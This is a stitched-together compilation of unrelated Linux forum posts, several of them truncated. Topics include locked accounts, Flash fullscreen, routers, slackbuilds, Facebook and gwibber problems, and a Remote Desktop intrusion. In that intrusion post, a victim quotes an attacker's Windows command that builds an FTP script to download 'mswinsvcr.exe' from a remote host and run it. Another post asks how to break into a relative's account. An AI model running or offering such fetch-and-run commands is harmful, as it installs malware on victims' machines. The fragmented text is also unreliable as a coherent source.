Last week some bad news hitted us, my uncle deceased at the age of 39, to young and very unexpected. We enherited his computer, but theres a password on his account. Googling didnt really worked for me.. I have totally 0 experience on linux systems. Is there a way to 'hack' his account and get access to his files, fotos and other stuff that is precious to us?
Any 1 who uses Linux knows that one problem with many distros (if not all) can't play flash videos fullscreen and change volume at the same time. Very very very very annoying.
But I think I might have come across a fix possibly probably not but who knows!!!
Here is the story. I was on my windows partition playing some games, but i also wanted to watch hulu on my second screen. To my amazement flash would exit full screen (on second screen) when it became out of focus because of a click on my main screen. so i did a search on the web and they have a flash hack that keeps it from exiting when it loses main focus. This is what we need!! can some1 with slightly more hacking know-how then me make this hack work for us over on linux?

I have received the following log messages on my Debian Squeeze webserver:Apr 13 15:16:37 vps suhosin: ALERT - ASCII-NUL chars not allowed within request variables - dropped variable 'controller' (attacker '188.8.131.52', file '/var/www/xxxxxxxxxxxxx.com
I am currently running a old school hacked Linksys WRT54G and have played around with some of the hacks and currently running Tomato on it and I am pretty happy (tho the lack of OpenVPN Server suck) but I need an upgrade to something with 802.11N and I bet I am not the only one. The options right now are
Grab a hackable consumer 802.11 Dual Band-N router and throw on it DD-WRT, OpenWRT or Tomato again Build my own using old hardware (dont really want to, feel they eat too much power for a simple task) Build/Buy hardware for a custom router (Atom system, or I recall back in the day some people use to sell small ATX-like boards just for embedded linux to run as a router) So what option would you go with and why? And if the DIY route should I try to get some hardware that is pre made for the job or DYI like a Atom machine.
I was running ubuntu 10.04 on a school laptop connected to the network. I was editing a file in emacs on an ssh connection to a school server when all of a sudden I see the remote desktop graphic (a thing that looks like a widescreen monitor) pop up in the top panel. A second later it announces that someone else has connected to my computer with 'ffff:someip'. I'm not sure of the specifics because I was too shocked. I do remember it started with some number of f's before a : The hacker then started typing Code: %systemroot%system32cmd.exe del eq&e
I promptly yanked out the ethernet cable before anything else could be typed. I then went in and changed the Remote Desktop preferences to not allow anyone in. I'm guessing that I cut the hacker off from fully entering in a command similar to this: Code: %systemroot%system32cmd.exe del eq&echo open 0.0.0.0 13643 >> eq&echo user 13302 30046 >> eq &echo get mswinsvcr.exe >> eq &echo quit >> eq &ftp -n -s:eq &mswinsvcr.exe &del eq which I found here: [URL]
How concerned should I be? It appears to be a windows hack. Did I prevent any damage from occurring? Is Remote Desktop really that easy to connect to another persons computer? I know this question is bait in a way. On my home machines I only allow vnc via ssh tunnels and that is through a router with proper port forwarding for the ssh ports and very few other ports forwarded. Such an attack has never happened to me at home. Is this possibly due to my setup or was I just lucky no one picked my computer to hack? So is the ssh tunnel & port forwarding a sufficiently safe setup or am I still at risk?
What degree of protection does the ssh tunnel and port forwarding provide? What else should I do to make my current home setup even more secure? The text I wrote above was the only text typed into the terminal. Because the attack was over Remote Desktop, what is the possibility that it was a bot? The text appeared slow enough for me to think that there was a person rather than a machine/program typing in the text. Does the Remote Desktop connection in a way provide a level of abstraction that prevents scripts as commands must be typed in through the Remote Desktop connection (vs. a ssh connection where a script might more easily be uploaded and executed)?
In the end I'm curious as to what else might have been accessed over the connection or if it was probably just restricted to the hacker attempting to run some windows commands? Since they connected via Remote Desktop and I saw the connection pop up and the typing begin in my terminal, did I see everything that the hacker attempted to perform? Am I correct in my research in finding that there is no log for Remote Desktop connections and therefore I can't find the ip they were connecting from? However, I would like to use this as a wake up call to myself to prevent unwanted access on my home computers.
Is there a similiar flash hack for the adobe flash player in linux, that when u choose fullscreen at a video, just like ....., that it isn't closed when you are clicking on the other Monitor, because it's really annoying. Sry I posted this once, but I got banned by "accident" ( Don't ask me how that can happen ), and I could not find the post anymore...
In this link it is described for windows: FlashHacker Keeps Flash Videos in Full Screen on Your Dual Monitors
I am currently taking my CCNA course. I have come to realize that to be a great Admin and secure a companies data, you first have to know it's weakness. Now I have become aware of a few programs like John the ripper telnet password crack, nmap, and the like. Well I have used nmap to port scan my own website for practice. I received some good intel on what ports are open and vulnerable. I am now trying to figure out how to hack in.To get my website info I used :
Running Ubuntu 10.04 I noticed my hard disc rumbling for longer than normal and louder. Not doing anything demanding to cause hard disk activity like this so I was suspicious so I checked my process list with 'top' command in the console terminal. At the top was mount.ntfs running. Eventually it stopped running after 20 seconds or so. At the time I have not been accessing NTFS filesystems, but I do have them. I have a dual boot Ubuntu 10.04 and Windows 7. In Ubuntu I've mounted the Windows main C drive and on the same hard disk a partitioned drive for sharing files between the OSs. I know mount.ntfs is a standard program but was it being run on my machine, instigated externally here? Was the running of mount.ntfs an attempt from outside to hack into Ubuntu and the mounted Windows areas of my machine via a backdoor connection or vulnerability? I've restarted my machine since then. Are there any logs I can check for malicious attempts to break in?
There is this slackbuild in which I have changed the part in bold.
Code: #!/bin/sh # Packager GioPower, luca.gio.85~at~gmail~dot~com # VTK (Visualization Toolkit) # # The Visualization Toolkit (VTK) is an open-source, freely available
This will still drop stuff into /usr/lib, which is clearly anti Slackware64... I do not know enough of cmake builds, which flag do I have to pass in the slackbuild for cmake to drop stuff in /usr/lib64...?
I'm quite new to xen and only have access on a production box (which happens to be debian) so I am unable to employ my hack it attitude in case i bring the whole thing down. When i run xm list it displays my domains but my states are rather confusing.
I have like 4 email addresses on one Ubuntu One account and I'd like to remove them all except my current email... I also have an old account I'd like to delete. I used the contact form but to no avail.
I have a problem with the Google search box top right corner in Konqueror, when entering search I recieve an error page "Unsupported Protocol" Google asks for ioslave or kioslave. Also when highlighting text on a page and right clicking with the mouse no search option is given. I created a new user and all works as it should for the new user. What is wrong with my user account? I have reset default values in Konqueror setup.
I can't add my facebook account to gwibber. Here is what i do:Click on envelope in the top panel. Click Broadcast.In Broadcast Accounts click dropdown and select Facebook. Then click Add.I then click Authorise. A blue facebook login page appears. I click on the small link at the bottom that says Log in with Facebook.Type in my credentials and click Connect. Wait a long time then goes back to Authorise window. With the words Facebook authorised.I click on Add and nothing happens. I did try to start using this on Alpha 2 but gave up but now I've done a full reinstall using RC version.
I am having a problem getting my facebook account to add to gwibber. I have searched the forum for the last couple of days and found several others with an identical problem but to date no solution is offered other than keep trying.I have run gwibber in terminal and attempted to add the account. Below is the output. For information I am trying to add an existing account not create a new account.

i got my facebook chat working in empathy, but for some reason i can not add my friends from this protocol into a custom group. I have my gmail contacts in a group, and my aim buddies in a group, allowing them to be minimized, but i cannot get my facebook friends to go into a facebook group for some reason. I can right click the friend, and create a new group called "Facebook", but the friend will not move to the group when i hit close.
I have a problem with gwibber. It has emerged randomly for no apparent reason as I have not changed any settings. All of a sudden, when updating my status on Facebook, and I click send, gwibber appears to work for a while, and then just nothing happens. My status does not get updated. It works fine with Twitter. It's only facebook. I have checked my application settings in Facebook and gwibber has full permission to post.#
I tried setting up the account again in gwibber, but this just opened a can of worms, because I had to reinstall gwibber and delete all of the config files in order to reinstate my facebook account, (see URL...)due to a bug in gwibber, which was a pain.
I have recently installed ubuntu 11.04 on my pc after that I tried to login on facebook but could not.I can open other internet pages easily but problem is with facebook only.I get an error message ERR 118 The operation has timed out.
Basically using Chrome on my Ubuntu 10.0.4 I am having trouble playing games such as Bejeweled and Farmville on Facebook. They load, but very slowly, and the reaction time is dreadful (I make a move, 5+ seconds later it happens).
Lucid is adamn good release and in my opinion, one of the best till date. If I have to rate Lucid on its OOB Factor (Out Of Box), I would rate it 9.7/10.I have an AMD based laptop with ATI graphics chipset and this used to be a major headache (ATI's fault ofcourse) previously and I was gearing up for another hour or so of installing the video drivers from ATI and getting it to work.But,suprisingly it just worked out of the box with visual effects enabled. Every component on my machine worked as it ought to be.
I cant say enough about the interface overhaul. Its like a F16 got upgraded with some slick Alien technology. Ubuntu 10.04 is surely a GOLD standard for all Linux Distros out there. Coming to this minor issue, I am unable to add the facebook account in Me Menu via gwibber. It takes the login credentials and prompts me to allow or deny publishing to facebook. Clicking on allow doesn't do anything, it just sits there.
What's the best way to set up Facebook in Thunderbird 6 so that I can have the news feed populate and continually update? Is it even possible? Also, are the Facebook messages/email functions capable of running in Thunderbird. What I would really like to do is amalgamate all my accounts into Thunderbird and make it my "one stop shop." This includes Facebook integration.
Does anybody have an idea why I can't upload photos to Facebook?Always when I try to do it, both in Firefox and in Opera the message "The connection has been reset" appears... What could be the reason? Could it also be a problem with my router or provider? Because I presume the problem exists, since I have moved flat.
I use: Ubuntu 11.04 (with Unity) Chrome (and also tried using Firefox and Opera) My Problem? Today I tried to upload some pictures on Facebook (like I use to) and after choosing them it gets stuck, the browser works, but the pictures don't get uploaded. I tried different browsers and the results were the same. My java package seems to be up-to-date as well as my browser (Chrome). I don't really know what is going wrong.
I have got facebook chat to work in pidgin but I am having problems connecting it. When I first open pidgin it gives me an error it says at the bottom "You require encryption, but it is not available on this server." if I keep clicking on reconnect it will usually connect me at some point but it can take a long time I'm wondering on how to fix this. So that it will connect automatically
I have installed Pidgin and the Facebook Plugin. However is there a bug with it? Because when I try to connect it says it can't retrieve my buddy list. On Fedora 12 this works with Pidgin problems. Is this a bug and is there a work around?
I have an issue where chromium is not displaying facebook properly. Here's a screenshot:
I would switch to the stable release but the stable release of chrome has a bug whereby the search bar keeps reseting its default search engine (wiping out all the info leaving the search bar un-usable) when google chrome stable is re-started.
I recently removed Windows from a family member's laptop (Gateway NV52) and installed Ubuntu on it. I started out with Ubuntu 10.04 since it was an LTS. She's been very happy with it until a few days ago when it started acting up and refused to load almost any site she frequently visited. I decided to back up her data and do a fresh install of Ubuntu 10.10 (64bit) which is what I use. It installed fine, wireless works seamlessly as well.
However, Facebook refuses to load on any web browser (chrome, firefox, minefield, midori, etc.). It's only Facebook as well. The login page will appear but it will absolutely not login. I've tried it with several different accounts and it just flat out refuses.y other site loads fine and fast, and logs in fine, but facebook just doesn't seem to load.I really do not want to have to move her back to windows 7 as she's prone to viruses and Ubuntu is just flat out awesome at virtually everything, but for her, social networking is her primary way of connecting to friends and it's critical for her to have access to that site. It's really her make or break feature, and if Ubuntu can't do it then she doesn't want anything to do with it.
I've looked everywhere for a solution to this. I've tried changing DNS servers, disabling and re-enabling the wifi, clearing the cache and cookies, even down to resetting the router we use, all to no avail. The site loads fine on every other PC regardless of the OS, and I've run out of places to look.My experience with the Ubuntu community has been top notch so far, and I'm not shy of any terminal work that may be needed, nor am I shy of fiddling with anything.
